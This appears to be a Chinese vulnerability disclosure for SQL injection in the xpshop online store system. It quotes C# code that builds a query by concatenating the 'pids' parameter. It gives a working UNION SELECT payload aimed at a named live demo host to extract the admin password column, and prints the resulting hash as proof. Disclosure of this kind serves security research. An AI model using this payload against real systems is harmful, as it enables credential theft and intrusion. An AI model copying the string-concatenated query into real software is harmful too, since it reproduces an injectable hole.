xpshop网店系统sql注入一处(官方demo演示)

漏洞作者: 不能忍

详细说明:

漏洞位置xpshop.webui.Show:

private void GetImg(string pids)
{
ProductDB productDB = new ProductDB();
DataTable thumbnailImg = productDB.GetThumbnailImg(pids);
thumbnailImg.TableName = "Products";
base.Response.Write(XpShopJson.DtToJSON(thumbnailImg));
}

这里是问题函数,我就不写怎么跟进来的,就是page_load,等下直接用payload测试就好了,官网demo的。

跟进去GetThumbnailImg函数:

public DataTable GetThumbnailImg(string pid)
{
string commandText = "SELECT ProductID,ProductName,ThumbnailImg,CategoryID,CategoryNo FROM Product WHERE ProductID = " + pid;
return XpShopDB.ExecuteDataTable(XpShopDB.ConnectionString, CommandType.Text, commandText, null);
}

payload:

http://clothes.xpshop.cn/show.aspx?type=1&action=GetImg&pids=1 union select password,2,3,4,5 from admin--

漏洞证明:

http://clothes.xpshop.cn/show.aspx?type=1&action=GetImg&pids=1 union select password,2,3,4,5 from admin--

1516573412d1547366b52efb540fd4b1001de928[1]

发表评论